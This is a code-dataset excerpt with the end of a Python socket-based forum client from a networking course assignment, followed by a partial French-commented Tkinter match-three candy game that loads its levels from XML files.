print(reply)\r\n#keep recieving the data if the client is logging in while forum is not shutdown yet\r\ndef recv_until_close(cSocket, handler):\r\n while handler.recvData != 'Goodbye':\r\n try:\r\n handler.recv()\r\n except Exception:\r\n break\r\n\r\n#same function in server, very handy\r\ndef recieve_file(c, filesize, filename):\r\n file = open(filename, \"wb\")\r\n while filesize > 0:\r\n file.write(c.recv(1024))\r\n filesize = filesize - 1024\r\n file.close()\r\n\r\n#help user loggin in but not precessing any command\r\ndef joinForum(handler):\r\n handler.username = input('Enter username:')\r\n handler.clientSocket.send(bytes(handler.username, encoding = \"utf8\"))\r\n i = 1 \r\n try:\r\n while i and handler.recvData != 'Goodbye':\r\n #We wait to receive the message from the server, store it in reply\r\n reply = handler.clientSocket.recv(1024)\r\n reply = str(reply.decode('utf8'))\r\n print(\"From Server: \", reply)\r\n #We wait to receive the reply from the server, store it in reply\r\n if reply == handler.username + \" already logged in\":\r\n handler.username = input('Enter username:')\r\n\r\n handler.clientSocket.send(bytes(handler.username, encoding = \"utf8\"))\r\n elif reply == \"wrong password\" or reply == \"Client created\" or reply == \"Client connected\":\r\n if reply == \"Client created\":\r\n mess = 'Enter the new password:'\r\n else:\r\n mess = 'Enter pasword:'\r\n print(reply)\r\n password = input(mess)\r\n handler.clientSocket.send(bytes(password, encoding = \"utf8\"))\r\n else:\r\n i = 0\r\n print('Welcome to the forum')\r\n #to deal with the possibility that server close down while user is logging in\r\n except ConnectionAbortedError:\r\n print(\"\\nGoodbye. Server shutting down\\n\")\r\n handler.recvData = 'Goodbye'\r\n pass\r\n\r\n\r\n#process the serval complex command (UDP, DWL) with the given handler, and send the usual command to server\r\ndef commander(handler):\r\n i = 1\r\n while handler.recvData != 'Goodbye':\r\n print(\"\\n\\n\")\r\n command = input('Enter one of the following commands: CRT, MSG, DLT, EDT, LST, RDT, UPD, DWN, RMV, XIT, SHT:')\r\n if len(command) == 0:\r\n print(\"type something\")\r\n continue\r\n cmd = command.split()\r\n handler.clientSocket.send(bytes(command, encoding = \"utf8\"))\r\n time.sleep(0.03)\r\n if cmd[0] == 'UPD':\r\n if(len(cmd) != 3):\r\n print(\"Wrong number of arguments\")\r\n elif os.path.exists(cmd[2]) == False:\r\n print(\"Can't find file with path/name as \" + cmd[1])\r\n else:\r\n if handler.recvData == \"!No\":\r\n print(\"input thread is invalid\")\r\n continue\r\n filesize = os.stat(cmd[2]).st_size\r\n handler.clientSocket.send(bytes(\"!\" + str(filesize), encoding = \"utf8\"))\r\n print(\"Sending the size of file before sending the file\")\r\n time.sleep(0.03)\r\n\r\n # start send file's data\r\n with open(cmd[2], 'rb') as f:\r\n sent = 0\r\n while sent != filesize:\r\n data = f.read(1024)\r\n handler.clientSocket.sendall(data)\r\n # wait for server to receive data\r\n time.sleep(0.01)\r\n sent += len(data)\r\n print(\"the file sent successfully\")\r\n elif cmd[0] == 'DWN':\r\n if(len(cmd) != 3):\r\n print(\"Wrong number of arguments\")\r\n else:\r\n if \"!No\" in handler.recvData:\r\n print(handler.recvData[4:])\r\n continue\r\n else:\r\n size_or_fail = handler.recvData\r\n handler.ifPrint = True\r\n print(\"Start reciving the file\")\r\n recieve_file(handler.clientSocket, int(size_or_fail), cmd[2])\r\n print(command[2] + \" downloaded successfully\")\r\n handler.ifPrint = False\r\n\r\n\r\ndef start(ip, port):\r\n clientSocket = socket(AF_INET, SOCK_STREAM)\r\n #This line creates the client’s socket. The first parameter indicates the address family; in particular,AF_INET indicates that the underlying network is using IPv4. The second parameter indicates that the socket is of type SOCK_STREAM,which means it is a TCP socket (rather than a UDP socket, where we use SOCK_DGRAM). \r\n clientSocket.connect((ip,port))\r\n #Before the client can send data to the server (or vice versa) using a TCP socket, a TCP connection must first be established between the client and server. The above line initiates the TCP connection between the client and server. The parameter of the connect( ) method is the address of the server side of the connection. After this line of code is executed, the three-way handshake is performed and a TCP connection is established between the client and server.\r\n \r\n handler = ClientHandle(clientSocket,\"\")\r\n joinForum(handler)\r\n # create thread for reciving cmds\r\n start_new_thread(recv_until_close, (clientSocket, handler,))\r\n # create thread for processing cmds\r\n start_new_thread(commander, (handler,))\r\n\r\n while handler.recvData != 'Goodbye':\r\n continue\r\n \r\n handler.clientSocket.close()\r\n # Close the socket\r\n try:\r\n #connect to the server to run the main loop again so that the shutdown process can be run properly\r\n clientSocket = socket(AF_INET, SOCK_STREAM)\r\n #This line creates the client’s socket. The first parameter indicates the address family; in particular,AF_INET indicates that the underlying network is using IPv4. The second parameter indicates that the socket is of type SOCK_STREAM,which means it is a TCP socket (rather than a UDP socket, where we use SOCK_DGRAM). \r\n clientSocket.connect((ip,port))\r\n clientSocket.close()\r\n except :\r\n pass\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\": \r\n if len(sys.argv) != 3:\r\n print(\"please type arguments as server_IP and server_port\")\r\n else :\r\n ip = sys.argv[1]\r\n port = int(sys.argv[2])\r\n start(ip, port)","repo_name":"Walter-White-Heisenberg/COMP3331-assignment","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35499091305","text":"import numpy as np\nimport PIL\nimport random\nimport tkinter as TK\nfrom PIL import Image, ImageTk\nfrom tkinter import filedialog\nimport xml.etree.ElementTree as ET\nimport pyglet\n\natlas_bonbon=np.asanyarray(PIL.Image.open(\"assets/assets_candy.png\"))\nL_couleur=[\"yellow\",\"blue\",\"red\",\"green\",\"magenta\"]\nL_direction=[\"V\",\"H\"]\nL_flux=[\"source\",\"puits\",\"\"]\nL_orientation=[\"haut\",\"bas\",\"gauche\",\"droite\",\"\"]\n\ndef icon(i,j):\n #return a 100x100 icon at position i,j\n return atlas_bonbon[i*100:(i+1)*100,j*100:(j+1)*100]\ndef display(icon):\n return PIL.Image.fromarray(icon)\ndef combine(icon1,icon2):\n #combine two icons\n img1=display(icon1)\n img2=display(icon2)\n img=PIL.Image.new(\"RGBA\",(100,100))\n img.paste(img1,(0,0))\n img.paste(img2,(0,0),mask=img2)\n return np.asanyarray(img)\n\ndef l():\n global J\n J=Jeu(n=7,m=8)\n J.start()\n\ndef play_random_sound():\n L_sound=[\"assets\\sounds\\Delicious!.ogg\",\"assets\\sounds\\Divine!.ogg\",\"assets\\sounds\\Sweet!.ogg\",\"assets\\sounds\\Tasty!.ogg\"]\n sound=pyglet.media.load(random.choice(L_sound))\n sound.play()\n\nclass Element():\n \"\"\"Classe de tout les éléments possibles d'une case\"\"\"\n def get_icon(self):\n return self._icon\n def set_icon(self,icon):\n if isinstance(icon,np.ndarray):\n self._icon=icon\n else:\n raise TypeError(\"icon must be an np.ndarray'\")\n icon=property(get_icon,set_icon)\n \n def __init__(self) -> None:\n self._icon=icon(6,6) \nclass Bonbon_normal(Element):\n \"\"\"Est un bonbon normal, il a une couleur\"\"\"\n def get_couleur(self):\n return self._couleur\n def set_couleur(self,couleur):\n if couleur in L_couleur:\n self._couleur=couleur\n else:\n raise ValueError(\"couleur must be in \"+str(L_couleur))\n couleur=property(get_couleur,set_couleur)\n\n def __init__(self,couleur=\"Ja\") -> None:\n super().__init__()\n if couleur in L_couleur:\n self._couleur=couleur\n else:\n self._couleur=\"yellow\"\n self.icon=icon(0,L_couleur.index(self.couleur))\n def __repr__(self) -> str:\n return \"\"+self.couleur\n def __str__(self) -> str:\n return \"\"+self.couleur \nclass Bonus(Element):\n \"\"\"Regroupe tout les bonus, n'as aucune méthode\"\"\"\n pass\nclass Roquette(Bonus):\n \"\"\"Est une roquette, a une direction\"\"\"\n def get_direction(self):\n return self._direction\n def set_direction(self,direction):\n if direction in L_direction:\n self._direction=direction\n else:\n raise ValueError(\"direction must be in \"+str(L_direction))\n direction=property(get_direction,set_direction)\n def __init__(self,direction):\n super().__init__()\n if direction in L_direction:\n self._direction=direction\n else:\n self._direction=\"H\"\n self.icon=icon(4,L_direction.index(self.direction))\n def __repr__(self) -> str:\n return \"Roquette\"\n def __str__(self) -> str:\n return \"Roquette\"\nclass Bombe(Bonus):\n \"\"\"Est une bombe avec un rayon d'effet\"\"\"\n def __init__(self):\n super().__init__()\n self.icon=icon(4,2)\n def __repr__(self) -> str:\n return \"Bombe\"\n def __str__(self) -> str:\n return \"Bombe\" \nclass Avion(Bonus):\n def __init__(self):\n super().__init__()\n self.icon=icon(4,3)\n def __repr__(self) -> str:\n return \"Avion\"\n def __str__(self) -> str:\n return \"Avion\"\nclass Déflagrateur(Bonus):\n def __init__(self):\n super().__init__()\n self.icon=icon(0,5)\n def __repr__(self) -> str:\n return \"Déflagateur\"\n def __str__(self) -> str:\n return \"Déflagateur\" \nclass Etoile(Bonus):\n def __init__(self):\n super().__init__()\n self.icon=icon(3,6)\n def __repr__(self) -> str:\n return \"Etoile\"\n def __str__(self) -> str:\n return \"Etoile\"\nclass Vide(Element):\n \"\"\"Est un élément vide,\n il garantit qu'il a toute les attribut et toutes les méthodes d'un élément\"\"\"\n def __init__(self) -> None:\n super().__init__()\n def __repr__(self) -> str:\n return \"Vide\"\n def __str__(self) -> str:\n return \"Vide\"\n#définition des cases vide normal et gelée\nclass Case():\n \"\"\"Est une des cellules de la grille\n Si elle n'est pas une sous classe Normale ou gelée, c'est une case vide\"\"\"\n def get_i(self):\n return self._i\n def set_i(self,i):\n if isinstance(i,int):\n self._i=i\n else:\n raise TypeError(\"i must be an int\")\n i=property(get_i,set_i)\n def get_j(self):\n return self._j\n def set_j(self,j):\n if isinstance(j,int):\n self._j=j\n else:\n raise TypeError(\"j must be an int\")\n j=property(get_j,set_j)\n\n def get_flux(self):\n return self._flux\n def set_flux(self,flux):\n if flux in L_flux:\n self._flux=flux\n else:\n raise ValueError(\"flux must be in \"+str(L_flux))\n flux=property(get_flux,set_flux)\n\n def get_orientation(self):\n return self._orientation\n def set_orientation(self,orientation):\n if orientation in L_orientation:\n self._orientation=orientation\n else:\n raise ValueError(\"orientation must be in \"+str(L_orientation))\n orientation=property(get_orientation,set_orientation)\n\n def get_icon_placement(self):\n return self._icon_placement\n def set_icon_placement(self,icon_placement):\n if isinstance(icon_placement,tuple) and len(icon_placement)==2 and isinstance(icon_placement[0],int) and isinstance(icon_placement[1],int):\n self._icon_placement=icon_placement\n else:\n raise TypeError(\"icon_placement must be a tuple of 2 int\")\n icon_placement=property(get_icon_placement,set_icon_placement)\n\n def get_teleporter(self):\n return self._teleporter\n def set_teleporter(self,teleporter):\n if isinstance(teleporter,tuple) and len(teleporter)==2 and isinstance(teleporter[0],int) and isinstance(teleporter[1],int):\n self._teleporter=teleporter\n else:\n raise TypeError(\"teleporter must be a tuple of 2 int\")\n teleporter=property(get_teleporter,set_teleporter)\n\n def get_teleporter_exit(self):\n return self._teleporter_exit\n def set_teleporter_exit(self,teleporter_exit):\n if isinstance(teleporter_exit,bool):\n self._teleporter_exit=teleporter_exit\n else:\n raise TypeError(\"teleporter_exit must be a bool\")\n teleporter_exit=property(get_teleporter_exit,set_teleporter_exit)\n\n def get_element(self):\n return self._element\n def set_element(self,element):\n if isinstance(element,Element):\n self._element=element\n else:\n raise TypeError(\"element must be an Element\")\n element=property(get_element,set_element)\n\n def __init__(self,i,j,flux,orientation,teleporter=None,teleporter_exit=False) -> None:\n self._element=Vide() #initialisée avec un élément Vide()\n self._i=int(i)\n self._j=int(j)\n if flux in L_flux:\n self._flux=flux\n else:\n self._flux=\"\"\n if orientation in L_orientation:\n self._orientation=orientation\n else:\n self._orientation=\"\"\n self._icon_placement=(5,5)\n \n if isinstance(teleporter,tuple) and len(teleporter)==2 and isinstance(teleporter[0],int) and isinstance(teleporter[1],int):\n self._teleporter=teleporter\n else:\n self._teleporter=None\n self._teleporter_exit=bool(teleporter_exit)\n \n def icon(self):\n if self.teleporter!=None:\n i,j=self.icon_placement\n return combine(combine(icon(i,j),icon(5,2)),self.element.icon)\n elif self.teleporter_exit:\n i,j=self.icon_placement\n return combine(combine(icon(i,j),icon(5,3)),self.element.icon)\n else:\n i,j=self.icon_placement\n return combine(icon(i,j),self.element.icon)\n def __repr__(self) -> str:\n return self.element.__repr__()\n def __str__(self) -> str:\n return self.element.__str__()\n def destruction(self,grille,spawn_bool=True):\n if isinstance(self.element,Bonbon_normal):\n couleur=self.element.couleur\n grille.element_detruit[\"bonbon_normal\"][couleur]+=1\n self.element=Vide()\n if isinstance(self.element,Roquette):\n grille.element_detruit[\"roquette\"]+=1\n self.element=Vide()\n if isinstance(self.element,Bombe):\n grille.element_detruit[\"bombe\"]+=1\n self.element=Vide()\n if isinstance(self.element,Avion):\n grille.element_detruit[\"avion\"]+=1\n self.element=Vide()\n if isinstance(self.element,Déflagrateur):\n grille.element_detruit[\"déflagrateur\"]+=1\n self.element=Vide()\n if isinstance(self.element,Etoile):\n grille.element_detruit[\"etoiles\"]+=1\n self.element=Vide()\n\n def gestion_flux(self,grille):\n \"\"\"\n Méthode définissant la gestion des flux du niveau,\n cad la ou la case va chercher un nouveau élément si elle est vide\n \"\"\"\n result=False\n if (isinstance(self,Case_Normale) and not(isinstance(self.element,Vide))):\n if self.orientation==\"haut\":\n if 0<=self.i-1=0 and j>=0 and i0:\n L_avion.append(random.choice(L_etoile))\n else:\n \n test=(random.randint(0,grille.m-1),random.randint(0,grille.n-1))\n while test in L_avion or not (isinstance(grille.grille[test[0],test[1]],Case_Normale) or isinstance(grille.grille[test[0],test[1]],Case_Gelee)):\n test=(random.randint(0,grille.m-1),random.randint(0,grille.n-1))\n L_avion.append(test)\n\n for (i,j) in L_avion:\n if i>=0 and j>=0 and i None:\n super().__init__(i,j,flux,orientation,teleporter)\n if isinstance(element,Element):\n self.element=element\n self.icon_placement=(5,0)\nclass Case_Gelee(Case):\n \"\"\"est une case gelée, a une icone remplie mais gelée et un élément\"\"\"\n def get_niveau_gel(self):\n return self._niveau_gel\n def set_niveau_gel(self,niveau_gel):\n if isinstance(niveau_gel,int) and niveau_gel>=0 and niveau_gel<=3:\n self._niveau_gel=niveau_gel\n elif not isinstance(niveau_gel,int):\n raise TypeError(\"niveau_gel must be a int\")\n else:\n raise ValueError(\"niveau_gel must be between 0 and 3\")\n niveau_gel=property(get_niveau_gel,set_niveau_gel)\n\n \n def __init__(self,i,j,flux,orientation,element,niveau_gel,teleporter=None) -> None:\n super().__init__(i,j,flux,orientation,teleporter)\n if isinstance(element,Element):\n self.element=element\n self.icon_placement=(3,0)\n self._niveau_gel=int(niveau_gel)\n \n def __repr__(self) -> str:\n return super().__repr__() + \"- Gelée\"\n def __str__(self) -> str:\n return super().__str__() + \"- Gelée\"\n def icon(self):\n if self.niveau_gel==1:\n self.icon_placement=(3,0)\n elif self.niveau_gel==2:\n self.icon_placement=(5,1)\n elif self.niveau_gel==3:\n self.icon_placement=(3,1)\n i,j=self.icon_placement\n return combine(combine(icon(5,0),self.element.icon),icon(i,j))\n\n def destruction(self, grille, spawn_bool=True):\n if spawn_bool and self.niveau_gel>0:\n print(\"yolor\")\n self.niveau_gel-=1\n if spawn_bool and self.niveau_gel==0:\n grille.grille[self.i,self.j]=Case_Normale(self.i,self.j,self.flux,self.orientation,self.element)\n\nclass Case_Vide(Case):\n \"\"\"est une case vide, a une icone vide et un élément vide\"\"\"\n def __init__(self,i,j,flux,orientation,teleporter=None) -> None:\n super().__init__(i,j,flux,orientation,teleporter)\n self.element=Vide()\n self.icon_placement=(3,3)\n#Grille :\nclass Grille():\n \"\"\"est une grille, a une liste de cases\"\"\"\n def get_grille(self):\n return self._grille\n def set_grille(self,grille):\n if isinstance(grille,np.ndarray) and grille.shape[0]==self.n and grille.shape[1]==self.m:\n self._grille=grille\n else:\n raise TypeError(\"grille must be a numpy array of size n*m\")\n grille=property(get_grille,set_grille)\n\n def get_n(self):\n return self._n\n def set_n(self,n):\n if isinstance(n,int) and n>0:\n self._n=n\n else:\n raise TypeError(\"n must be a int > 0\")\n n=property(get_n,set_n)\n\n def get_m(self):\n return self._m\n def set_m(self,m):\n if isinstance(m,int) and m>0:\n self._m=m\n else:\n raise TypeError(\"m must be a int > 0\")\n m=property(get_m,set_m)\n\n def get_element_detruit(self):\n return self._element_detruit\n def set_element_detruit(self,element_detruit):\n if isinstance(element_detruit,dict):\n self._element_detruit=element_detruit\n else:\n raise TypeError(\"element_detruit must be a dict\")\n element_detruit=property(get_element_detruit,set_element_detruit)\n\n def get_L_objectifs(self):\n return self._L_objectifs\n def set_L_objectifs(self,L_objectifs):\n if isinstance(L_objectifs,list):\n self._L_objectifs=L_objectifs\n else:\n raise TypeError(\"L_objectifs must be a list\")\n L_objectifs=property(get_L_objectifs,set_L_objectifs)\n def __init__(self,n=5,m=5) -> None:\n self._grille=np.empty((int(n),int(m)),dtype=Case)\n self._n=int(n)\n self._m=int(m)\n self._element_detruit={\n \"roquette\":0,\n \"bombe\":0,\n \"avion\":0,\n \"déflagrateur\":0, \n \"etoiles\":0,\n \"bonbon_normal\":{\n \"yellow\":0,\n \"blue\":0,\n \"red\":0,\n \"green\":0,\n \"magenta\":0\n }\n }\n self._L_objectifs=[\n {\"Nombre\":10, \"Cible\":\"red\"}\n ]\n self.generate()\n def generate(self):\n \"\"\" génère une grille aléatoire\"\"\"\n for i in range(self.n):\n for j in range(self.m):\n if i==0:\n self.grille[i,j]=Case_Normale(i,j,\"source\",\"bas\",Bonbon_normal(random.choice(L_couleur)))\n elif i==self.n-1:\n self.grille[i,j]=Case_Gelee(i,j,\"puits\",\"\",Bonbon_normal(random.choice(L_couleur)),3)\n else:\n self.grille[i,j]=Case_Normale(i,j,\"\",\"bas\",Bonbon_normal(random.choice(L_couleur)))\n \n def echange(self,coo1,coo2):\n i1,j1=coo1\n i2,j2=coo2\n Case1=self.grille[i1,j1]\n Case2=self.grille[i2,j2]\n di=abs(i1-i2)\n dj=abs(j1-j2)\n if isinstance(Case1,Case_Normale) and isinstance(Case2,Case_Normale) and di in [0,1] and dj in [0,1] and (di+dj==1 or di+dj==0):\n Case1.element,Case2.element=Case2.element,Case1.element\n try:\n color1=Case1.element.couleur\n except:\n color1=None\n try:\n color2=Case2.element.couleur\n except:\n color2=None \n Case1.update(self,couleur=color2),Case2.update(self,couleur=color1) \n return True\n return False\n def __repr__(self) -> str:\n return self.grille.__repr__()\n def __str__(self) -> str:\n return self.grille.__str__()\n def gestion_flux(self):\n res=False\n for i in range(self.n):\n for j in range(self.m):\n res = self.grille[i,j].gestion_flux(self) or res\n return res\n def gestion_flux_secondaire(self):\n res=False\n for i in range(self.n):\n for j in range(self.m):\n res=self.grille[i,j].gestion_flux_secondaire(self) or res\n return res\n def liste_vides(self):\n L=[]\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale) and isinstance(self.grille[i,j].element,Vide):\n L.append(self.grille[i,j])\n return L\n def display_orientation(self):\n res=np.empty((self.n,self.m),dtype=str)\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale) or isinstance(self.grille[i,j],Case_Gelee):\n if self.grille[i,j].orientation==\"bas\":\n res[i,j]=\"⬇️\"\n elif self.grille[i,j].orientation==\"droite\":\n res[i,j]=\"➡️\"\n elif self.grille[i,j].orientation==\"haut\":\n res[i,j]=\"⬆️\"\n elif self.grille[i,j].orientation==\"gauche\":\n res[i,j]=\"⬅️\"\n else:\n res[i,j]=\" \"\n for i in range(self.n):\n for j in range(self.m):\n if res[i,j]==\"\":\n res[i,j]=\" \"\n return res\n def display_flux(self):\n res=np.empty((self.n,self.m),dtype=str)\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale) or isinstance(self.grille[i,j],Case_Gelee):\n if self.grille[i,j].flux==\"source\":\n res[i,j]=\"S\"\n elif self.grille[i,j].flux==\"puits\":\n res[i,j]=\"P\"\n elif self.grille[i,j].flux==\"\":\n res[i,j]=\" \"\n else:\n res[i,j]=\" \"\n for i in range(self.n):\n for j in range(self.m):\n if res[i,j]==\"\":\n res[i,j]=\" \"\n return res\n def display_type_case(self):\n res=np.empty((self.n,self.m),dtype=str)\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale):\n res[i,j]=\"N\"\n elif isinstance(self.grille[i,j],Case_Gelee):\n res[i,j]=\"G\"\n else:\n res[i,j]=\" \"\n for i in range(self.n):\n for j in range(self.m):\n if res[i,j]==\"\":\n res[i,j]=\" \"\n return res\n def display_teleporter(self):\n res=np.empty((self.n,self.m),dtype=str)\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale):\n if self.grille[i,j].teleporter==None:\n res[i,j]=\" \"\n else:\n res[i,j]=\"T\"\n else:\n res[i,j]=\" \"\n for i in range(self.n):\n for j in range(self.m):\n if res[i,j]==\"\":\n res[i,j]=\" \"\n return res\n def display_teleporter_exit(self):\n res=np.empty((self.n,self.m),dtype=str)\n for i in range(self.n):\n for j in range(self.m):\n if isinstance(self.grille[i,j],Case_Normale):\n if self.grille[i,j].teleporter!=None:\n res[self.grille[i,j].teleporter[0],self.grille[i,j].teleporter[1]]=\"E\"\n for i in range(self.n):\n for j in range(self.m):\n if res[i,j]==\"\":\n res[i,j]=\" \"\n return res\n def recherche_pattern(self,spawn_bool=True):\n result=False\n def spawn_pattern(pattern,element,c,d):\n r=False\n for i in range(self.n-pattern.shape[0]+1):\n for j in range(self.m-pattern.shape[1]+1):\n res=np.zeros(pattern.shape,dtype=bool)\n for a in range(pattern.shape[0]):\n for b in range(pattern.shape[1]):\n res[a,b]=not(pattern[a,b]) or map[i+a,j+b]\n #res=not(pattern) or map[i,i+len(pattern.shape[0]),j,j+len(pattern.shape[1])]\n #print(pattern,grille,res,\"\\n\")\n if np.all(res):\n r=True\n if spawn_bool:\n play_random_sound()\n print(pattern,\" trouvé à l'indice : \",i,j)\n \n for a in range(pattern.shape[0]):\n for b in range(pattern.shape[1]):\n if pattern[a,b]==1:\n map[i+a,j+b]=0\n self.grille[i+a,j+b].destruction(self)\n if spawn_bool:\n self.grille[i+c,j+d].element=element\n for a in range(pattern.shape[0]):\n for b in range(pattern.shape[1]):\n if isinstance(self.grille[i+a,j+b].element,Vide):\n self.grille[i+a,j+b].explosion=True\n return r\n \n \n for couleur in L_couleur:\n map=np.zeros((self.n,self.m))\n for i in range(self.n):\n for j in range(self.m):\n if (isinstance(self.grille[i,j],Case_Normale) or isinstance(self.grille[i,j],Case_Gelee)) and isinstance(self.grille[i,j].element,Bonbon_normal) and self.grille[i,j].element.couleur==couleur:\n map[i,j]=1\n print(map,\"\\n\\n\\n\")\n #Recherche Déflagrateur\n result=spawn_pattern(np.array([[1,1,1,1,1]]),Déflagrateur(),0,2) or result\n result=spawn_pattern(np.array([[1],[1],[1],[1],[1]]),Déflagrateur(),2,0) or result\n #Recherche Bombes\n result=spawn_pattern(np.array([\n [1,1,1],\n [0,1,0],\n [0,1,0],\n ]),Bombe(),0,1) or result\n result=spawn_pattern(np.array([\n [0,1,0],\n [0,1,0],\n [1,1,1],\n ]),Bombe(),2,1) or result\n result=spawn_pattern(np.array([\n [1,0,0],\n [1,1,1],\n [1,0,0],\n ]),Bombe(),1,2) or result\n result=spawn_pattern(np.array([\n [0,0,1],\n [1,1,1],\n [0,0,1],\n ]),Bombe(),1,2) or result\n #Recherche Roquette\n result=spawn_pattern(np.array([[1,1,1,1]]),Roquette(\"V\"),0,1) or result\n result=spawn_pattern(np.array([[1],[1],[1],[1]]),Roquette(\"H\"),1,0) or result\n #Recherche Avion\n result=spawn_pattern(np.array([\n [1,1],\n [1,1]]),Avion(),0,0) or result\n #Recherche Normal\n result=spawn_pattern(np.array([[1,1,1]]),Vide(),0,0) or result\n result=spawn_pattern(np.array([[1],[1],[1]]),Vide(),0,0) or result\n return result\n def check_objectif(self):\n # Mettre dans la classe grilles\n result=True\n for ob in self.L_objectifs:\n if ob[\"Cible\"] in L_couleur:\n result = result and self.element_detruit[\"bonbon_normal\"][ob[\"Cible\"]]>=ob[\"Nombre\"]\n else:\n result = result and self.element_detruit[ob[\"Cible\"]]>=ob[\"Nombre\"]\n return result\nclass Jeu(TK.Tk):\n def get_previous(self):\n return self._previous\n def set_previous(self,previous):\n if previous==None:\n self._previous=None\n elif isinstance(previous,tuple) and len(previous)==2 and isinstance(previous[0],int) and isinstance(previous[1],int):\n self._previous=previous\n else:\n raise ValueError(\"previous must be None or a tuple of 2 int\")\n previous=property(get_previous,set_previous)\n\n def get_echange_autorise(self):\n return self._echange_autorise\n def set_echange_autorise(self,echange_autorise):\n if isinstance(echange_autorise,bool):\n self._echange_autorisee=echange_autorise\n else:\n raise ValueError(\"echange_autorisee must be a boolean\")\n echange_autorise=property(get_echange_autorise,set_echange_autorise)\n\n def get_grille(self):\n return self._grille\n def set_grille(self,grille):\n if isinstance(grille,Grille):\n self._grille=grille\n else:\n raise ValueError(\"grille must be a Grille\")\n grille=property(get_grille,set_grille)\n\n def get_n(self):\n return self._n\n def set_n(self,n):\n if isinstance(n,int):\n self._n=n\n else:\n raise ValueError(\"n must be an int\")\n n=property(get_n,set_n)\n\n def get_m(self):\n return self._m\n def set_m(self,m):\n if isinstance(m,int):\n self._m=m\n else:\n raise ValueError(\"m must be an int\")\n m=property(get_m,set_m)\n\n def get_liste_img(self):\n return self._liste_img\n def set_liste_img(self,liste_img):\n if isinstance(liste_img,list):\n self._liste_img=liste_img\n else:\n raise ValueError(\"liste_img must be a list\")\n liste_img=property(get_liste_img,set_liste_img)\n\n def get_liste_label(self):\n return self._liste_label\n def set_liste_label(self,liste_label):\n if isinstance(liste_label,list):\n self._liste_label=liste_label\n else:\n raise ValueError(\"liste_label must be a list\")\n liste_label=property(get_liste_label,set_liste_label)\n\n def get_nb_coup(self):\n return self._nb_coup\n def set_nb_coup(self,nb_coup):\n if isinstance(nb_coup,int) and nb_coup>=0:\n self._nb_coup=nb_coup\n else:\n raise ValueError(\"nb_coup must be an int\")\n nb_coup=property(get_nb_coup,set_nb_coup)\n\n def __init__(self,n=6,m=6,grille=None,nb_coup=10,coo=\"+100+100\") -> None:\n super().__init__()\n self.geometry(\"1024x768\"+coo)\n #icone de fenetre\n self.iconbitmap(\"assets/icon.ico\")\n self._previous=None\n self._echange_autorise=True\n if grille==None or not isinstance(grille,Grille):\n self._grille=Grille(n,m)\n while self.grille.recherche_pattern(False) or len(self.grille.liste_vides())>0:\n self.grille.gestion_flux()\n else:\n self._grille=grille\n self._n=n\n self._m=m\n self.title(\"Candy Crash Samba\")\n self._liste_img=[]\n self._liste_label=[]\n self._time_interval=150\n self.protocol(\"WM_DELETE_WINDOW\",self.quitter)\n if isinstance(nb_coup,int) and nb_coup>0:\n self._nb_coup=nb_coup\n else:\n self.nb_coup=10\n self.wm_attributes(\"-transparentcolor\", 'grey')\n #Background\n self._bgimg = Image.open('assets/background_blur.png') \n self._l = TK.Label(self)\n self._l.place(x=0, y=0, relwidth=1, relheight=1) \n self._l.bind('', self.on_resize) \n #Bouton de chargement de fichier askopenfilename\n Button=TK.Button(self,text=\"Charger\",command=self.load)\n Button.grid(row=1,column=0,sticky=\"nsew\")\n #Affichage statistiques\n self._label_stats=TK.Label(self,text=\"\")\n self._label_stats.grid(row=2,column=0,columnspan=2,rowspan=5,sticky=\"nsew\")\n #Music player\n self._music_player=pyglet.media.Player()\n self._music_player.queue(pyglet.media.load(\"assets\\sounds\\music.mp3\"))\n self._music_player.volume=0.5\n \n def quitter(self):\n self.destroy()\n self._music_player.pause()\n def on_resize(self, event):\n image = self._bgimg.resize((event.width, event.height), Image.ANTIALIAS)\n self._l.image = ImageTk.PhotoImage(image)\n self._l.config(image=self._l.image)\n def end(self,win):\n \"\"\"\n Affiche une pop up de fin de partie\n \"\"\"\n self._top= TK.Toplevel(self)\n self._top.title(win)\n self._top.iconbitmap(\"assets/icon.ico\")\n #Boutons de reset\n Button=TK.Button(self._top,text=\"Recharger un niveau aléatoire\",command=self.reset)\n Button.grid(row=0,column=0,sticky=\"nsew\")\n Button=TK.Button(self._top,text=\"Charger XML\",command=self.load)\n Button.grid(row=0,column=1,sticky=\"nsew\")\n self.echange_autorise=False\n def reset(self):\n self._top.destroy()\n self.destroy()\n self.__init__(self.n,self.m)\n self.start()\n def load(self):\n try:\n self.top.destroy()\n except:\n pass\n print(\"Load\")\n path= TK.filedialog.askopenfilename(title=\"Selectionnez un fichier XML d'un niveau\", filetypes=((\"Fichier XML\",\"*.xml\"),(\"Tous les fichiers\",\"*.*\")))\n if path!=\"\":\n niveau=ET.parse(path)\n niveau=niveau.getroot()\n for label in self.liste_label:\n label.destroy()\n self.liste_label=[]\n for img in self.liste_img:\n del img\n self.liste_img=[]\n self.n=int(niveau.attrib[\"nb_lignes\"])\n self.m=int(niveau.attrib[\"nb_colonnes\"])\n del self._grille\n self.grille=Grille(self.n,self.m)\n self.title(\"Candy Crash Samba - \"+niveau.attrib[\"titre\"])\n self.nb_coup=int(niveau.attrib[\"nb_coup\"])\n self.grille.L_objectifs=[]\n for obj in niveau.find(\"Objectifs\").iter(\"Objectif\"):\n self.grille.L_objectifs.append({\"Cible\":obj.attrib[\"Cible\"][1:].lower(),\"Nombre\":int(obj.attrib[\"Nombre\"])})\n L_teleporter=[]\n c=False\n for case in niveau.find(\"Grille\").iter():\n if c:\n i=int(case.attrib[\"ligne\"])\n j=int(case.attrib[\"colonne\"])\n try:\n contenu=case.attrib[\"contenu\"]\n except:\n contenu=None\n try:\n orientation=case.attrib[\"orientation\"].lower()\n except:\n orientation=\"\"\n try:\n flux=case.attrib[\"flux\"].lower()\n except:\n flux=\"\"\n try:\n niveau_gel=int(case.attrib[\"niveau_gel\"].lower())\n except:\n niveau_gel=3\n try:\n 